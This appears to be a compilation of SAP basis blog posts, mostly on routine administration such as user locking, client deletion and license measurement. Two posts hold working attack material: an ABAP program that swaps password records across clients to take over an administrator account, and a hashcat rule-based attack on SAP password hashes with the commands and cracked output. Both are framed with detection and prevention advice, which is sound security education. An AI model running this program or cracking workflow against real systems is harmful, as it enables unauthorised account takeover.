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Cross client access hacking

Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.

Questions that will be answered in this blog are:

How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?

Cross client hack explained

You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.

So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:

REPORT ZSWAPUSER. 

data: zls_usr02_1 type usr02. 
data: zls_usr02_2 type usr02. 
data: zls_usr02_t type usr02. 

parameters p_uname1 type usr02-bname. 
parameters p_mandt1 type sy-mandt. 
parameters p_mandt2 type sy-mandt.

select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1. 

select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2. 

zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t. 
write sy-subrc. 

zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1. 
modify usr02 client specified from zls_usr02_t. 
write sy-subrc.

In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..

After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.

Detecting this attack

Detecting this attack directly is very difficult. There are traces:

Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client

Preventive measures

The following preventive measures can be taken:

Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
Switch on audit logging in all clients (see blog)

Mass locking and end validity date of users

There are 2 good reasons for mass locking and ending validity date of user: security and licenses.

Questions that will be answered in this blog are:

How can I mass lock users automatically if they have not logged on for a certain time?
How can I mass set the validity date of the users that did not log on for a certain time?

Automatic lock of user after expired logon

In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.

If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.

If the user tries to logon after the period he will see this error message and cannot continue:

In SU01 such a user looks like this:

If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.

Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.

Mass setting of user validity date

For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.

Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.

It has quite a long selection screen:

On the first block set the dates for last logon and password change to get a good selection of users.

On the second block very important to only select Dialog Users.

First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.

OSS notes

Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):

Client 001 and 066 deletion

Questions that will be answered in this blog:

Why delete clients 001 and 066?
How to delete clients 001 and 066?
How to test the deletion before executing in a productive environment?

Why delete clients 001 and 066?

The clients 001 and 066 had a purpose in the past and do not have them any more.

The only thing they do now is pose a security threat. Access can be gained to these clients, for example via standard SAP users, and from these client you could take over the system via a cross client attack. Background on client 066 can be found in OSS note 1897372 – EarlyWatch Mandant 066 – Can Client 066 be deleted?.

Also unwanted batch jobs might be still running from these clients consuming resources.

For an S4HANA system conversion, these clients must be deleted.

You can use SAP Focused Run security and configuration validation to quickly detect existance of client 001 and/or 066. Read more in this blog.

How to execute client 001 and 066 deletion?

You can delete client 001 and 066 according to the instructions in SAP note 1749142 and on the respective blog “How to remove unused clients including client 001 and 066” on SCN.

Testing the deletion

The deletion can be tested on a development and QA system before it is done on productive system. If really in doubt copy the productive system to a different system and perform the deletion there first as a test.

SAP password hash hacking Part IV: rule based attack

This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.

In this fourth blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures.

For the first blog on attacking the SAP BCODE hash click here.

For the second blog on attacking the SAP PASSCODE has click here.

For the third blog on attacking the SAP PWDSALTEDHASH has click here.

Questions that will be answered in this blog are:

How does the rule based attack work?
How to use the rules on found passwords?
Where to find good rule books?

The rule based attack

The dictionary rule book attack is using the dictionary as input and then applies rules to the dictionary to generate a new password candidate.

Example words we will use are Password and Welcome.

Examples of apply some rules:

Replace a with @ will give P@ssword
Replace o with 0 will give Passw0rd and Welc0me
Replace s with $ will give Pa$$word
Replace l with ! will give We!come
All rules above combined will give P@$$w0rd and We!c0me

For full list of possible rule syntax see Hashcat site on rule-based attack.

Suppose we have guessed one correct password for one user. He made the password Welcome1!.

Now we will construct some rules:

Replace e with 3, rule will be se3
Replace l with 1 and l with !, rules will be sl1 and sl!
Replace o with 0, rule will be so0

We use these 3 hashes as input:

{x-issha, 1024}riqL3PXHJMOKkofOv1I4ObteIEGKw/OMny0U8MzMZ04=
{x-issha, 1024}7SC51LKZChMcpwmixb/ca/+qYvDxsXTbR3mE0IPrsaU=
{x-issha, 1024}AxErKhue0RAUveCTBgpAiJIaSDWGKdjpooiDSn5sTtg=

We construct an input file with word Welcome1! and a file with these rules:

se3

sl!

sl1

so0

Now we call Hashcat with the rule based attack mode:

hashcat64 -a 0 -m 10300 -p : --session=all -o "C:\hashes_found.txt" --outfile-format=3 -n 32 --gpu-temp-abort=80 -r "C:\simplerules.txt" "C:\hashes.txt" "C:\welcome.txt"

Great: 2 catches out of 3:

{x-issha, 1024}riqL3PXHJMOKkofOv1I4ObteIEGKw/OMny0U8MzMZ04=:We1come1!
{x-issha, 1024}AxErKhue0RAUveCTBgpAiJIaSDWGKdjpooiDSn5sTtg=:Welc0me1!

Now let’s add these rules:

o03
o13
o23

This means replace first character with digit 3, repeat for second and third.

We run again Hashcat and find the 3rd one:

{x-issha, 1024}7SC51LKZChMcpwmixb/ca/+qYvDxsXTbR3mE0IPrsaU=:W3lcome1!

What has happened here? Why is this found now, and not before with the se3 rule, which should substitute the e with 3? Pretty simple: replace e with 3 in word Welcome1! will give W3lcom31!. So it replaces all and not first one. This is there background of having many rules.

Huge rulesets

With the Hashcat download you get a special directory called rules. Here there are some big rulesets available.

The nicest one is the RockYou list of rules. This is constructed based on the RockYou password list hacked in 2009 where 32 million passwords leaked. Based on English dictionary somebody has constructed the rules to come to most of these passwords.

Effectiveness of the attack

The effectiveness of the rule based attack is quite high. If you have found 1 password, you just run the complete ruleset of one of the huge lists to find multiple variations. People are not so inventive and creative. You will be surprised on the amount of password variations you find on the following words:

Welcome
Summer
Winter
Password
Apple
Android
Google

Hackers don’t start with the full dictionary. They start with the top 1000 words and apply many rules to them. From the passwords found they will start to derive patterns of the users. Any new password is processed through many new rules to generate candidates with higher potential.

The name and or abbreviation of a company is word number 1 to add to the favorite word list.

Further optimization of the attack speed

For optimizing the attack speed, read the fifth blog on SAP password hash hacking here.

Prevention measure 1: frequent change and large change per time

Many companies have implemented a more faster cycle of password changes. In the past once per year was common. Nowadays 60 to 90 days is more common practice. Set this in profile parameter: login/password_expiration_time.

More important is to make a larger change per time the password changes. This is to avoid the rule-attacks explained above to become very effective. How many people just simply change and increase single digit in password? Or increase the special with the next one on the keyboard. Set the profile parameter login/min_password_diff to sufficiently high value of 3 or more.

Prevention measure 2: length

Explain to your users that length is more important than complexity by using this famous explanation:

Prevention measure 3: stronger hashes

Stronger hashes simply take more time to crack. To set stronger hashes, read this dedicated blog.

Next blog on password hacking

The fifth blog on password hacking is about optimizing the attack speed. Read on in the blog. And the blog on extended word lists.

Output device NULL

For some batch jobs you want to have the execution done and don’t want to fill up your system with large spool files of this execution. This blog will explain to setup printer NULL to have a batch job suppress the output generation.

Questions that that will be answered in this blog are:

How do I setup printer NULL?
How to test the setup of printer NULL?
Where to find more background information on printer NULL?

Setup of printer NULL

Start transaction SPAD to define a new printer. Now create printer call NULL (with long and short name both NULL):

Select a simple windows driver. Fill the other mandatory fields. Add the message description clearly that the output will be lost.

Save the printer definition.

Testing the NULL printer

From the blog explaining the technical clean up we will take program RSWWHIDE. This program generates huge amount of output (per deleted item 3 to 10 lines). We will run the program twice in test mode: once with printer NULL and once with printer LP01 (default printer). Selection of printer NULL is same as with any printer:

Result in SM37:

The first run with printer NULL has suppressed the generation of the spool file.

Background OSS note

All background on output device NULL can be read in OSS note 181571 – Output device NULL.

Initial ABAP webdynpro activation

This blog will explain the initial activation in SICF needed to make ABAP for webdynpro work in your system.

Questions that will be answered are:

What is the short minimum list of services that must be activated?
Where can I find the full list of services?

Short list

SICF mandatory services per system:

/default_host/sap/bc/webdynpro
/default_host/sap/public/bc/ur
/default_host/sap/public/bc/icons
/default_host/sap/public/bc/icons_rtl
/default_host/sap/public/bc/webicons
/default_host/sap/public/bc/pictograms
/default_host/sap/public/bc/webdynpro/* (ssr, mimes, and so on)
/default_host/sap/public/icman

For custom webdynpro for ABAP developments also activate the following services on the development system:

/default_host/sap/public/bc/webdynpro/viewdesigner
/default_host/sap/bc/wdvd/

Full list

The actual list of SICF services is described in OSS note 1088717 – Active services for Web Dynpro ABAP in transaction SICF. This also contains the services in case of more complex situations for floor plan management, testing and load distribution.

Scanning ABAP code: ABAP search tool

This blog will explain how to scan ABAP coding in search of a specific keyword or string. Many times older or badly written programs contain hard code logic like system ID’s, plant codes, movement types, order types etc. When a larger business change happens you need to find these codes in your ABAP code and act on them. This blog will explain how to do this search.

Questions that will be answered are:

How does the scan program work?
How to search for certain strings?
How to search for words in the comments?

ABAP search tool

You can start the ABAP search tool with transaction code CODE_SCANNER:

For testing 2 simple programs are written:

REPORT zscantest1.

IF syst-sysid EQ 'S4H'.
  WRITE: 'development system'.
ELSEIF syst-sysid EQ 'S4P'.
  WRITE: 'production system'.
ENDIF.

REPORT zscantest2.

DATA zt001w TYPE t001w.

SELECT SINGLE werks FROM t001w INTO zt001w.

IF zt001w-werks EQ 'DE01'.
  WRITE: 'German plant'.
ELSEIF zt001w-werks  EQ 'US01'.
* USA plant
  WRITE: 'US plant'.
ELSE.
  WRITE: 'diffferent plant'.
ENDIF.

If we now start a search with the word ‘S4H’ we get this result:

A hard coded SID.

If we search with ‘US01’ we get this result:

A hard coded plant.

If we search with ‘USA’ we get this result:

The word we were looking for is in the comment lines.

Search alternative program RS_ABAP_SOURCE_SCAN

In SAP note 2764076 – CODE_SCANNER not working properly, SAP explains that CODE_SCANNER might not always work for every release. They offer alternative program RS_ABAP_SOURCE_SCAN (there is no transaction code for this program, so start via SE38):

Bug fix notes:

Mechanics behind SAP user measurement

This blog will analyze some of the tables behind the SAP user license measurement.

Warning: the list of tables below is not complete. Do not base any assumptions on the content of these tables in your system. In updates and newer versions all content can change. The tables and the text in blog is to give you insight into the process. In any contract SAP will claim the right for inspection of actual usage of your system versus the license rights in your contract.

Questions that will be answered are:

How do I know which objects are measured?
How are objects measured?
How can I find actual measured objects?

The general user measurement principles are explained in the blog on USMM.

The tables behind license measurement

The best table to start with is the TUAPP table: measurement of applications.

Example is given below:

Here you can see that Advanced ATP is measured via call function module. In SE37 you can lookup the function module and see inside the code what exactly is measured:

The other entry in TUAPP we will take as example is Procurement Orders. Its application ID is 5000 and does not measure via function module.

First we get the application to unit and unit name from table TUAPP_UNT (units themselves are defined in table TUUNT):

Now we see procurement is counting Inquiry, Purchase order, Contract, Scheduling Agreement and Others.

The actual values read by the measurement for the application counters are stored in table TUCNT:

The tables behind the AC checks

The AC (anti cheating) modules use bit different tables.

Table TUL_AC_UNIT is to denote the table to count on:

Here you see the main procurement table EKKO has ID number 5018.

In table TUL_ACTTC you can lookup this value:

This data will be used in dynamic SQL statement that will list the user name (ERNAM) who did the create or change and uses AEDAT (last change or creation date) for table EKKO to count for check 5018.

License measurement tips & tricks

This blog will give you tips & tricks for the SAP license measurement.

Questions that will be answered are:

How to deal with license classification for background users?
How to deal with license classification for standard SAP users?
How to deal with license classification for SAP support and fire-call users?
How to deal with multiple logon?
How to deal with developer licenses?
What does Confusopoly mean?

Background users

According to OSS note 32326 – System measurement : Technical users all background users are free of charge. Classify them as type 91 Test users. This rule is valid for:

Batch users to run background jobs
SAP to SAP system connection users
Interface batch users

Be careful with the interface users. If an external system posts data into SAP system with a single background user, but it is clear that in the source system multiple real users doing the actions, SAP might want to charge you for 'indirect use'.

System dialog users

SAP standard dialog users are excluded from system license measurement. See OSS note 1402837 – Info USMM/LAW: Excluded SAP users in the measurement for a full list.

SAP support users and fire-call users

For live support of an SAP system you typically will have 2 types of support users:

Users for SAP themselves to logon to your system and provide support to you
Fire-call users with elevated authorizations to solve time critical incidents

Both type of users have no direct business goal, but have only support usage. You can mark them as type 91 Test user, as long as you have a clear naming convention for these users and a general rule that they are locked unless they are needed.

User deletion as regular activity

The user measurement program (both USMM and USMM2) checks for deletion of users in the last three months. To avoid discussions on user deletion it is best practice to delete monthly, or bi-monthly, all persons which have left your company.

End validity date

Users who don’t have a current validity date are not counted in the user measurement program. You might want to schedule program RSUSR_LOCK_USERS in a regular batch job to end the validity of users that did not log on for long time automatically. See this blog for more details.

Multiple logon

SAP does measure how many times a user has a double, triple, etc logon. The results are stored in table USR41_MLD. SAP might argue that the same user is used by multiple persons. You can use the contents of table USR41_MLD to prove if this was a mistake only. If the are too many multiple logons you might need to go back to the business to change their behavior.

You can also forbid the multiple logons at system level. SAP system parameter login/disable_multi_gui_login can be set in RZ11 to forbid multiple logons. For some users (like DDIC) you do want to keep multiple logons. These users must be set into system parameter login/multi_login_users=username1,username2,username3,etc.

Proper consolidation

Use the SLAW or SLAW2 tool to execute a proper consolidation of your measured users. This process will de-duplicate your counted users.

License validation program

Read this dedicated blog to know more about license vailidation program RSUVM080.

LUI License utilization information

The LUI (license utilization information) tool is an online SAP tool that has all the information on your on premise and cloud licenses information combined. For cloud the usage is automatically visible. For on premise systems you can upload the usage via the SLAW files. This can give you insights into under-consumption and over-consumption of licenses. Read more in this blog.

Check for bug fix notes in your advantage

SAP might give you a list of OSS notes to apply in your system before the measurement. These notes normally benefit SAP. You can also check for OSS notes that benefit you.

Example:

3017067 – USMM2: Korrektur Klassifizierungshilfe Anwender Prof/Ltd.Prof.

FIORI gateway usage

For FIORI gateway usage, read this dedicated blog.

Developer licenses

SAP has made the developer license measurement messy with the move to S4HANA by removing the simple DEVACCESS measurement. Read more in this blog.

Confusopoly

If you think you know all about SAP licenses, SAP will change everything again. Dilbert has a nice word for it: confusopoly:

Sometime people on sales/buying SAP joke about the SAP abbreviation being Shut-up And Pay.

EHP switches and licenses

EHP switches can deliver great new functionality. But not all of them are for free. This blog will explain, how you will know which ones are included in the standard license, and which ones not.

Questions that will be answered are:

How to know which switch has license impact?
What are best practices for EHP switches?

Relationship between EHP switches and licenses

The relationship between EHP switch activation and licenses is explained in OSS note 1524246 – Relationship of licenses and business functions.

Attached to this OSS note is the most recent version of the PDF listing which switches are part of the standard license, and which switches require an extra license.

How to read the document?

The document is sorted per business area. Best way is simply use the find button in the PDF and search for your switch.

Example of 2 switches that don’t have license impact:

The pricing comment and License (material number) column are empty. These switches are part of standard license.

Example of switch with license impact:

For this switch your company should be in possession, or acquire the license mentioned in the last column.

EHP switches best practices

Since EHP switch can have license impact the following best practices is suggested:

Restrict SFW5 EHP switch activation access to basis team only (display for all is ok)
Explain basis team the fundamentals of the licenses and EHP switches
Determine in your company who must approve EHP switch on and make clear to basis team only to execute the activation after this approval

If you have switched on a switch with licenses and don’t want to use it, check if it is a reversible switch. Then simply undo this. If it is not reversible, don’t use the corresponding functionality. The latter is much harder since you need to restrict authorizations to that function very carefully.